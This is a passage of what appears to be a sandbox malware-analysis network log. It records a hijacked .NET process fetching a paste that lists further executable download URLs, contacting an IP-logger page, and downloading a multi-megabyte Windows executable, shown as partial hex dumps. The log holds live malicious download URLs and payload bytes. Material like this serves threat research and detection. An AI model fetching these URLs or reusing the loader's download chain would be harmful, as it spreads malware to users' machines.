63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 96 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$E^q+q+q+q+q+q+q+q*q+q+q+q+Richq+PEL+Mc
2024-03-11 02:31:01 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-03-11 02:31:01 UTC	1369	IN	Data Raw: 8c 0d a4 ee 80 00 66 8c 1d 80 ee 80 00 66 8c 05 7c ee 80 00 66 8c 25 78 ee 80 00 66 8c 2d 74 ee 80 00 9c 8f 05 a8 ee 80 00 8b 45 00 a3 9c ee 80 00 8b 45 04 a3 a0 ee 80 00 8d 45 08 a3 ac ee 80 00 8b 85 e0 fc ff ff c7 05 e8 ed 80 00 01 00 01 00 a1 a0 ee 80 00 a3 9c ed 80 00 c7 05 90 ed 80 00 09 04 00 c0 c7 05 94 ed 80 00 01 00 00 00 a1 04 d0 80 00 89 85 d8 fc ff ff a1 08 d0 80 00 89 85 dc fc ff ff ff 15 ac b0 40 00 a3 e0 ed 80 00 6a 01 e8 e5 16 00 00 59 6a 00 ff 15 a8 b0 40 00 68 90 b1 40 00 ff 15 6c b0 40 00 83 3d e0 ed 80 00 00 75 08 6a 01 e8 c1 16 00 00 59 68 09 04 00 c0 ff 15 a4 b0 40 00 50 ff 15 a0 b0 40 00 c9 c3 8b ff 55 8b ec 8b 45 08 33 c9 3b 04 cd 10 d0 80 00 74 13 41 83 f9 2d 72 f1 8d 48 ed 83 f9 11 77 0e 6a 0d 58 5d c3 8b 04 cd 14 d0 80 00 5d c3 Data Ascii: ff\|f%xf-tEEE@jYj@h@l@=ujYh@P@UE3;tA-rHwjX]]
2024-03-11 02:31:01 UTC	1369	IN	Data Raw: 6a 01 ff 75 08 e8 99 fe ff ff 83 c4 0c 5d c3 6a 01 6a 00 6a 00 e8 89 fe ff ff 83 c4 0c c3 6a 01 6a 01 6a 00 e8 7a fe ff ff 83 c4 0c c3 8b ff 55 8b ec e8 4b 05 00 00 ff 75 08 e8 94 03 00 00 59 68 ff 00 00 00 e8 af ff ff ff cc 68 10 1a 40 00 64 ff 35 00 00 00 00 8b 44 24 10 89 6c 24 10 8d 6c 24 10 2b e0 53 56 57 a1 04 d0 80 00 31 45 fc 33 c5 50 89 65 e8 ff 75 f8 8b 45 fc c7 45 fc fe ff ff ff 89 45 f8 8d 45 f0 64 a3 00 00 00 00 c3 8b 4d f0 64 89 0d 00 00 00 00 59 5f 5f 5e 5b 8b e5 5d 51 c3 cc cc cc cc cc cc cc 8b ff 55 8b ec 83 ec 18 53 8b 5d 0c 56 8b 73 08 33 35 04 d0 80 00 57 8b 06 c6 45 ff 00 c7 45 f4 01 00 00 00 8d 7b 10 83 f8 fe 74 0d 8b 4e 04 03 cf 33 0c 38 e8 b7 f5 ff ff 8b 4e 0c 8b 46 08 03 cf 33 0c 38 e8 a7 f5 ff ff 8b 45 08 f6 40 04 66 0f 85 19 01 Data Ascii: ju]jjjjjjzUKuYhh@d5D$l$l$+SVW1E3PeuEEEEdMdY__^[]QUS]Vs35WEE{tN38NF38E@f
2024-03-11 02:31:01 UTC	1369	IN	Data Raw: ff 50 88 5d fb e8 58 15 00 00 59 50 8d 85 08 fe ff ff 50 56 ff 15 cc b0 40 00 8b 4d fc 5f 5e 33 cd 5b e8 1b f1 ff ff c9 c3 6a 03 e8 e9 18 00 00 59 83 f8 01 74 15 6a 03 e8 dc 18 00 00 59 85 c0 75 1f 83 3d 00 d0 80 00 01 75 16 68 fc 00 00 00 e8 25 fe ff ff 68 ff 00 00 00 e8 1b fe ff ff 59 59 c3 8b ff 55 8b ec 56 e8 85 08 00 00 8b f0 85 f6 0f 84 32 01 00 00 8b 4e 5c 8b 55 08 8b c1 57 39 10 74 0d 83 c0 0c 8d b9 90 00 00 00 3b c7 72 ef 81 c1 90 00 00 00 3b c1 73 04 39 10 74 02 33 c0 85 c0 74 07 8b 50 08 85 d2 75 07 33 c0 e9 f5 00 00 00 83 fa 05 75 0c 83 60 08 00 33 c0 40 e9 e4 00 00 00 83 fa 01 0f 84 d8 00 00 00 8b 4d 0c 53 8b 5e 60 89 4e 60 8b 48 04 83 f9 08 0f 85 b6 00 00 00 6a 24 59 8b 7e 5c 83 64 39 08 00 83 c1 0c 81 f9 90 00 00 00 7c ed 8b 00 8b 7e 64 3d Data Ascii: P]XYPPV@M_^3[jYtjYu=uh%hYYUV2N\UW9t;r;s9t3tPu3u`3@MS^`N`Hj$Y~\d9\|~d=
2024-03-11 02:31:01 UTC	1369	IN	Data Raw: 90 00 08 00 00 a3 00 55 85 00 89 35 f8 54 85 00 3b c2 73 36 83 c0 05 83 48 fb ff 66 c7 40 ff 00 0a 89 48 03 66 c7 40 1f 00 0a c6 40 21 0a 89 48 33 88 48 2f 8b 35 00 55 85 00 83 c0 40 8d 50 fb 81 c6 00 08 00 00 3b d6 72 cd 53 57 66 39 4d e6 0f 84 0e 01 00 00 8b 45 e8 3b c1 0f 84 03 01 00 00 8b 18 83 c0 04 89 45 fc 03 c3 be 00 08 00 00 89 45 f8 3b de 7c 02 8b de 39 1d f8 54 85 00 7d 6b bf 04 55 85 00 6a 40 6a 20 e8 52 f1 ff ff 59 59 85 c0 74 51 83 05 f8 54 85 00 20 8d 88 00 08 00 00 89 07 3b c1 73 31 83 c0 05 83 48 fb ff 83 60 03 00 80 60 1f 80 83 60 33 00 66 c7 40 ff 00 0a 66 c7 40 20 0a 0a c6 40 2f 00 8b 0f 83 c0 40 03 ce 8d 50 fb 3b d1 72 d2 83 c7 04 39 1d f8 54 85 00 7c a2 eb 06 8b 1d f8 54 85 00 33 ff 85 db 7e 72 8b 45 f8 8b 00 83 f8 ff 74 5c 83 f8 fe Data Ascii: U5T;s6Hf@Hf@@!H3H/5U@P;rSWf9ME;EE;\|9T}kUj@j RYYtQT ;s1H```3f@f@ @/@P;r9T\|T3~rEt\
2024-03-11 02:31:01 UTC	1369	IN	Data Raw: 59 c3 8b ff 57 68 54 bc 40 00 ff 15 bc b0 40 00 8b f8 85 ff 75 09 e8 34 fd ff ff 33 c0 5f c3 56 8b 35 b8 b0 40 00 68 90 bc 40 00 57 ff d6 68 84 bc 40 00 57 a3 2c f9 80 00 ff d6 68 78 bc 40 00 57 a3 30 f9 80 00 ff d6 68 70 bc 40 00 57 a3 34 f9 80 00 ff d6 83 3d 2c f9 80 00 00 8b 35 f0 b0 40 00 a3 38 f9 80 00 74 16 83 3d 30 f9 80 00 00 74 0d 83 3d 34 f9 80 00 00 74 04 85 c0 75 24 a1 ec b0 40 00 a3 30 f9 80 00 a1 f4 b0 40 00 c7 05 2c f9 80 00 82 26 40 00 89 35 34 f9 80 00 a3 38 f9 80 00 ff 15 e8 b0 40 00 a3 c4 d1 80 00 83 f8 ff 0f 84 c1 00 00 00 ff 35 30 f9 80 00 50 ff d6 85 c0 0f 84 b0 00 00 00 e8 dd ec ff ff ff 35 2c f9 80 00 8b 35 88 b0 40 00 ff d6 ff 35 30 f9 80 00 a3 2c f9 80 00 ff d6 ff 35 34 f9 80 00 a3 30 f9 80 00 ff d6 ff 35 38 f9 80 00 a3 34 f9 80 Data Ascii: YWhT@@u43_V5@h@Wh@W,hx@W0hp@W4=,5@8t=0t=4tu$@0@,&@548@50P5,5@50,540584
2024-03-11 02:31:01 UTC	1369	IN	Data Raw: ff ff 59 ff 36 ff 15 1c b1 40 00 5e 5d c3 6a 08 68 50 bf 80 00 e8 cd ea ff ff e8 41 f9 ff ff 8b 40 78 85 c0 74 16 83 65 fc 00 ff d0 eb 07 33 c0 40 c3 8b 65 e8 c7 45 fc fe ff ff ff e8 a0 17 00 00 e8 e6 ea ff ff c3 68 d7 2e 40 00 ff 15 88 b0 40 00 a3 90 fa 80 00 c3 8b ff 55 8b ec 8b 45 08 a3 94 fa 80 00 a3 98 fa 80 00 a3 9c fa 80 00 a3 a0 fa 80 00 5d c3 8b ff 55 8b ec 8b 45 08 8b 0d 4c bc 40 00 56 39 50 04 74 0f 8b f1 6b f6 0c 03 75 08 83 c0 0c 3b c6 72 ec 6b c9 0c 03 4d 08 5e 3b c1 73 05 39 50 04 74 02 33 c0 5d c3 ff 35 9c fa 80 00 ff 15 8c b0 40 00 c3 6a 20 68 70 bf 80 00 e8 21 ea ff ff 33 ff 89 7d e4 89 7d d8 8b 5d 08 83 fb 0b 7f 4b 74 15 8b c3 6a 02 59 2b c1 74 22 2b c1 74 08 2b c1 74 59 2b c1 75 43 e8 f5 f7 ff ff 8b f8 89 7d d8 85 ff 75 14 83 c8 ff e9 Data Ascii: Y6@^]jhPA@xte3@eEh.@@UE]UEL@V9Ptku;rkM^;s9Pt3]5@j hp!3}}]KtjY+t"+t+tY+uC}u
2024-03-11 02:31:01 UTC	1369	IN	Data Raw: 24 04 f7 c1 03 00 00 00 74 24 8a 01 83 c1 01 84 c0 74 4e f7 c1 03 00 00 00 75 ef 05 00 00 00 00 8d a4 24 00 00 00 00 8d a4 24 00 00 00 00 8b 01 ba ff fe fe 7e 03 d0 83 f0 ff 33 c2 83 c1 04 a9 00 01 01 81 74 e8 8b 41 fc 84 c0 74 32 84 e4 74 24 a9 00 00 ff 00 74 13 a9 00 00 00 ff 74 02 eb cd 8d 41 ff 8b 4c 24 04 2b c1 c3 8d 41 fe 8b 4c 24 04 2b c1 c3 8d 41 fd 8b 4c 24 04 2b c1 c3 8d 41 fc 8b 4c 24 04 2b c1 c3 8b ff 55 8b ec 83 ec 24 a1 04 d0 80 00 33 c5 89 45 fc 8b 45 08 53 89 45 e0 8b 45 0c 56 57 89 45 e4 e8 a8 f1 ff ff 83 65 ec 00 83 3d b0 fa 80 00 00 89 45 e8 75 7d 68 00 bd 40 00 ff 15 20 b0 40 00 8b d8 85 db 0f 84 10 01 00 00 8b 3d b8 b0 40 00 68 f4 bc 40 00 53 ff d7 85 c0 0f 84 fa 00 00 00 8b 35 88 b0 40 00 50 ff d6 68 e4 bc 40 00 53 a3 b0 fa 80 00 ff Data Ascii: $t$tNu$$~3tAt2t$ttAL$+AL$+AL$+AL$+U$3EESEEVWEe=Eu}h@ @=@h@S5@Ph@S
2024-03-11 02:31:01 UTC	1369	IN	Data Raw: fc 8d 04 8d 00 00 00 00 03 f0 03 f8 ff 24 95 90 39 40 00 8b ff a0 39 40 00 a8 39 40 00 b4 39 40 00 c8 39 40 00 8b 45 08 5e 5f c9 c3 90 8a 06 88 07 8b 45 08 5e 5f c9 c3 90 8a 06 88 07 8a 46 01 88 47 01 8b 45 08 5e 5f c9 c3 8d 49 00 8a 06 88 07 8a 46 01 88 47 01 8a 46 02 88 47 02 8b 45 08 5e 5f c9 c3 90 8d 74 31 fc 8d 7c 39 fc f7 c7 03 00 00 00 75 24 c1 e9 02 83 e2 03 83 f9 08 72 0d fd f3 a5 fc ff 24 95 2c 3b 40 00 8b ff f7 d9 ff 24 8d dc 3a 40 00 8d 49 00 8b c7 ba 03 00 00 00 83 f9 04 72 0c 83 e0 03 2b c8 ff 24 85 30 3a 40 00 ff 24 8d 2c 3b 40 00 90 40 3a 40 00 64 3a 40 00 8c 3a 40 00 8a 46 03 23 d1 88 47 03 83 ee 01 c1 e9 02 83 ef 01 83 f9 08 72 b2 fd f3 a5 fc ff 24 95 2c 3b 40 00 8d 49 00 8a 46 03 23 d1 88 47 03 8a 46 02 c1 e9 02 88 47 02 83 ee 02 83 ef Data Ascii: $9@9@9@9@9@E^_E^_FGE^_IFGFGE^_t1\|9u$r$,;@$:@Ir+$0:@$,;@@:@d:@:@F#Gr$,;@IF#GFG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	55639	172.67.169.89	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:31:01 UTC	41	OUT	GET /RNWPd.exe HTTP/1.1 Host: yip.su
2024-03-11 02:31:02 UTC	904	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:31:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close memory: 0.36199188232421875 expires: Mon, 11 Mar 2024 02:31:01 +0000 strict-transport-security: max-age=604800 strict-transport-security: max-age=31536000 content-security-policy: img-src https: data:; upgrade-insecure-requests x-frame-options: SAMEORIGIN Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Last-Modified: Mon, 11 Mar 2024 02:30:59 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2BIhrDtJhLFROd5oDDmgg0as2POVmuPco0mVGavAMLsOIY4Am6%2BoXibcfMf3sGA%2BLKLaBJmcA%2FySvjyBNisjbPwrUtKPLfoYB61Oas7d9O6lnViMA1%2BF4l1Y%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8628203c5e8409ef-LAS alt-svc: h3=":443"; ma=86400
2024-03-11 02:31:02 UTC	465	IN	Data Raw: 31 64 31 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 22 20 63 6c 61 73 73 3d 22 68 74 6d 6c 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c Data Ascii: 1d16<!DOCTYPE html><html lang="" class="html"><head><title></title><meta http-equiv="content-type" content="text/html; charset=utf-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width,
2024-03-11 02:31:02 UTC	1369	IN	Data Raw: 74 2d 61 66 74 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 37 20 64 61 79 73 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 20 2f 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 69 70 6c 6f 67 67 65 72 2e 6f 72 67 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 69 70 6c 6f 67 Data Ascii: t-after" content="7 days" /><meta name="keywords" content="" /><meta name="description" content="" /><link rel="shortcut icon" href="https://cdn.iplogger.org/favicon.ico" type="image/x-icon" /><meta property="og:image" content="https://cdn.iplog
2024-03-11 02:31:02 UTC	1369	IN	Data Raw: 6c 61 79 3a 6e 6f 6e 65 7d 23 6c 6f 61 64 65 72 3e 73 70 61 6e 7b 68 65 69 67 68 74 3a 31 36 70 78 3b 77 69 64 74 68 3a 31 36 70 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 30 25 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 33 33 38 62 64 39 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 6d 61 72 67 69 6e 3a 32 35 70 78 20 35 70 78 20 30 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 3a 6a 75 6d 70 20 31 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 61 6e 69 6d 61 74 69 6f 6e 3a 6a 75 6d 70 20 31 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 7d 23 6c 6f 61 64 65 72 3e 73 70 61 6e 3a 6e 74 68 2d 63 68 69 6c 64 28 32 29 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 30 2e Data Ascii: lay:none}#loader>span{height:16px;width:16px;border-radius:50%;background-color:#338bd9;display:inline-block;margin:25px 5px 0;-webkit-animation:jump 1s linear infinite;animation:jump 1s linear infinite}#loader>span:nth-child(2){-webkit-animation-delay:0.
2024-03-11 02:31:02 UTC	1369	IN	Data Raw: 0a 0a 09 3c 73 63 72 69 70 74 3e 0a 09 76 61 72 20 5f 70 3b 0a 09 69 66 28 6e 61 76 69 67 61 74 6f 72 26 26 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 44 61 74 61 26 26 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 44 61 74 61 2e 70 6c 61 74 66 6f 72 6d 3d 3d 3d 27 57 69 6e 64 6f 77 73 27 29 7b 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 44 61 74 61 2e 67 65 74 48 69 67 68 45 6e 74 72 6f 70 79 56 61 6c 75 65 73 28 5b 27 70 6c 61 74 66 6f 72 6d 56 65 72 73 69 6f 6e 27 5d 29 2e 74 68 65 6e 28 75 61 3d 3e 7b 5f 70 3d 70 61 72 73 65 49 6e 74 28 75 61 2e 70 6c 61 74 66 6f 72 6d 56 65 72 73 69 6f 6e 2e 73 70 6c 69 74 28 27 2e 27 29 5b 30 5d 29 7d 29 7d 0a 09 76 61 72 20 5f 79 3d 5b 5d 2c 5f 7a 3d 7b 7d 2c 5f 78 3d 66 75 6e Data Ascii: <script>var _p;if(navigator&&navigator.userAgentData&&navigator.userAgentData.platform==='Windows'){navigator.userAgentData.getHighEntropyValues(['platformVersion']).then(ua=>{_p=parseInt(ua.platformVersion.split('.')[0])})}var _y=[],_z={},_x=fun
2024-03-11 02:31:02 UTC	1369	IN	Data Raw: 65 72 20 62 65 66 6f 72 65 20 70 72 6f 63 65 73 73 69 6e 67 2e 2e 2e 3c 2f 64 69 76 3e 0a 09 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 5f 63 28 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 74 79 6c 65 3e 0a 2e 77 72 61 70 70 65 72 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 30 70 78 7d 2e 63 6f 6e 74 61 69 6e 65 72 7b 77 69 64 74 68 3a 34 34 30 70 78 3b 6d 69 6e 2d 77 69 64 74 68 3a 33 32 30 70 78 3b 68 65 69 67 68 74 3a 33 35 30 70 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 2d 6d 73 2d 66 6c 65 78 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 6a Data Ascii: er before processing...</div></div> <script> _c();</script><style>.wrapper{margin-top:100px}.container{width:440px;min-width:320px;height:350px;display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-pack:center;j
2024-03-11 02:31:02 UTC	1369	IN	Data Raw: 7d 2e 6c 6f 67 6f 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 63 6f 6c 6f 72 3a 23 30 37 34 64 37 63 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 61 72 69 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 72 61 70 70 65 72 22 3e 0a 0a 20 20 20 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 65 61 64 65 72 22 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 64 6f 6d 61 69 6e 22 3e 0a 09 09 09 09 3c 64 69 76 20 69 64 3d 22 64 6f 6d 61 69 6e 22 3e 79 69 70 2e Data Ascii: }.logo .logo-text{color:#074d7c;text-align:center;font-size:12px;white-space:nowrap;font-family:arial;font-weight:700}</style><div class="wrapper"> <div class="container"> <div class="header"><div class="domain"><div id="domain">yip.
2024-03-11 02:31:02 UTC	144	IN	Data Raw: 27 61 62 73 6f 6c 75 74 65 27 2c 61 2e 73 74 79 6c 65 2e 74 6f 70 3d 69 2c 61 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 69 2c 61 2e 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 63 6f 75 6e 74 65 72 2e 79 61 64 72 6f 2e 72 75 2f 68 69 74 3f 27 2b 75 72 6c 2e 6a 6f 69 6e 28 27 3b 27 29 2c 64 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 29 3b 0a 09 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 'absolute',a.style.top=i,a.style.left=i,a.src='https://counter.yadro.ru/hit?'+url.join(';'),d.body.appendChild(a);</script></body></html>
2024-03-11 02:31:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	55641	104.20.68.143	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:31:01 UTC	50	OUT	GET /raw/E0rY26ni HTTP/1.1 Host: pastebin.com
2024-03-11 02:31:01 UTC	395	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:31:01 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 8 Last-Modified: Mon, 11 Mar 2024 02:30:53 GMT Server: cloudflare CF-RAY: 8628203c7f940ad7-LAS
2024-03-11 02:31:01 UTC	800	IN	Data Raw: 33 31 39 0d 0a 68 74 74 70 3a 2f 2f 31 38 35 2e 31 37 32 2e 31 32 38 2e 31 32 36 2f 49 6e 73 74 61 6c 6c 53 65 74 75 70 35 2e 65 78 65 0d 0a 68 74 74 70 73 3a 2f 2f 62 69 74 62 75 63 6b 65 74 2e 6f 72 67 2f 6a 2d 75 70 73 70 73 2f 6d 69 63 72 6f 73 6f 66 74 5f 6e 65 74 77 6f 72 6b 31 2f 64 6f 77 6e 6c 6f 61 64 73 2f 61 30 32 2e 65 78 65 0d 0a 68 74 74 70 73 3a 2f 2f 73 68 69 70 6f 66 64 65 73 74 69 6e 79 2e 63 6f 6d 2f 62 61 66 31 34 37 37 38 63 32 34 36 65 31 35 35 35 30 36 34 35 65 33 30 62 61 37 38 63 65 31 63 2e 65 78 65 0d 0a 68 74 74 70 73 3a 2f 2f 73 74 79 2e 69 6e 6b 2f 70 70 67 38 78 0d 0a 68 74 74 70 73 3a 2f 2f 6e 61 6d 65 6d 61 69 6c 2e 6f 72 67 2f 36 37 37 39 64 38 39 62 37 61 33 36 38 66 34 66 33 66 33 34 30 62 35 30 61 39 64 31 38 64 37 31 Data Ascii: 319http://185.172.128.126/InstallSetup5.exehttps://bitbucket.org/j-upsps/microsoft_network1/downloads/a02.exehttps://shipofdestiny.com/baf14778c246e15550645e30ba78ce1c.exehttps://sty.ink/ppg8xhttps://namemail.org/6779d89b7a368f4f3f340b50a9d18d71
2024-03-11 02:31:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	55640	172.67.177.133	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:31:01 UTC	106	OUT	GET /26b626fea29015a9f24e07a08fa011e4/6779d89b7a368f4f3f340b50a9d18d71.exe HTTP/1.1 Host: ittrade.org
2024-03-11 02:31:01 UTC	680	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:31:01 GMT Content-Type: application/x-ms-dos-executable Content-Length: 4283768 Connection: close Last-Modified: Sun, 10 Mar 2024 22:52:57 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 5 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=m1MAdR%2FRuWp%2BPzONBGC1IedvPlYhWs8SQev6X%2BfL8Ao0nNgkc12BmgVvadabPT1QrtGOs9d6msxBeTfreD%2BIGVw5k4hxYv2UYS00pKazZR9tW3t86MJWWnvZd5sF4Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8628203c7ea50a01-LAS alt-svc: h3=":443"; ma=86400
2024-03-11 02:31:01 UTC	689	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a5 10 45 5e e1 71 2b 0d e1 71 2b 0d e1 71 2b 0d 8e 07 80 0d f5 71 2b 0d 8e 07 b5 0d f6 71 2b 0d 8e 07 81 0d b8 71 2b 0d e8 09 b8 0d e2 71 2b 0d e1 71 2a 0d ba 71 2b 0d 8e 07 84 0d e0 71 2b 0d 8e 07 b1 0d e0 71 2b 0d 8e 07 b6 0d e0 71 2b 0d 52 69 63 68 e1 71 2b 0d 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 2b 84 4d 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 96 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$E^q+q+q+q+q+q+q+q*q+q+q+q+Richq+PEL+Mc
2024-03-11 02:31:01 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 